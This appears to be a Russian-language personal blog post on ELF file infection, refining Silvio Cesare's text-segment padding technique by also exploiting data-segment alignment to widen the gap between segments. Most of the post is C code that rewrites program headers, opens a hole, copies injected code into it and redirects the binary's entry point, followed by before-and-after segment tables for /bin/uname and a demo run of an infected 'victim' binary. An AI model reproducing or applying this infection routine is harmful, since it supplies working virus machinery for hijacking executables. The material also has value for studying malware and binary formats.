[ | Current Mood |
| | excited | ] | Пока я раздумывал, над тем, как "собирать" сегменты и секции в ELF-файлах, у меня постоянно вертелось в голове offset + 0x1000, offset + 0x1000, co-aligned offset/address... Вспомнил я
также, вот эту картинку из статьи Сильвио:
Page Nr
#1 [TTTTTTTTTTTTTTTT] <- Part of the text segment
#2 [TTTTTTTTTTTTTTTT] <- Part of the text segment
#3 [TTTTTTTTTTTTPPPP] <- Part of the text segment
#4 [PPPPDDDDDDDDDDDD] <- Part of the data segment
#5 [DDDDDDDDDDDDDDDD] <- Part of the data segment
#6 [DDDDDDDDDDDDPPPP] <- Part of the data segment
На самом деле, лучше нарисовать её вот так:
[TTTTTTTT]
[TTTTTppp]
[pppppDDD]
[DDDDDDDD]
Странно, что никто не пользуется выравниванием в сегменте данных. А между тем, если пораскинуть мозгами, то становится очевидно, что почти для всех ELF-файлов (с последовательно идущими сегментами кода и данных), сумма длин алигментов сегментов равна 4096 байт. Исключением являются только те файлы, у которых сегмент данных начинается по адресу кратному 4096. Для таких файлов размер "дырки" в памяти будет равен длине выравнивания сегмента кода, то есть, как в оригинальном способе заражения. Соотношение количества тех и других, для /bin в моей системе 2:1.
А теперь немного кода:
u = 0;
phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0
&& (i + 1) < ehdr->e_phnum && phdr[i + 1].p_type == PT_LOAD) {
if (phdr->p_filesz != phdr->p_memsz)
break;
u++;
break;
}
assert(u != 0);
uint32_t dp, tp, ve, vo;
vo = phdr[i].p_filesz;
ve = phdr[i].p_vaddr + phdr[i].p_filesz;
tp = 4096 - (phdr[i].p_filesz & 4095);
dp = phdr[i + 1].p_vaddr - (phdr[i + 1].p_vaddr & ~4095);
phdr[i].p_memsz += tp;
phdr[i].p_filesz += tp;
phdr[i+1].p_vaddr -= dp;
phdr[i+1].p_paddr -= dp;
phdr[i+1].p_offset += tp;
phdr[i+1].p_filesz += dp;
phdr[i+1].p_memsz += dp;
for (i = i + 2; i < ehdr->e_phnum; i++)
if (phdr[i].p_offset >= vo)
phdr[i].p_offset += tp + dp;
MAKE_HOLE(vo, tp + dp);
SHIFT_SHDRS(vo, tp + dp);
memset(m + vo, 0x90, tp + dp);
memcpy(m + vo, code, code_len);
ehdr->e_entry = ve;
Что изменилось (/bin/uname):
< LOAD 0x000000 0x08048000 0x08048000 0x032b8 0x032b8 R E 0x1000
< LOAD 0x0032b8 0x0804c2b8 0x0804c2b8 0x00662 0x00662 RW 0x1000
< DYNAMIC 0x0033e0 0x0804c3e0 0x0804c3e0 0x000c8 0x000c8 RW 0x4
---
> LOAD 0x000000 0x08048000 0x08048000 0x04000 0x04000 R E 0x1000
> LOAD 0x004000 0x0804c000 0x0804c000 0x0091a 0x0091a RW 0x1000
> DYNAMIC 0x0043e0 0x0804c3e0 0x0804c3e0 0x000c8 0x000c8 RW 0x4
Вроде всё. Ж-)
$ ./victim
ALL YOUR BASE ARE BELONG TO US!
Linux |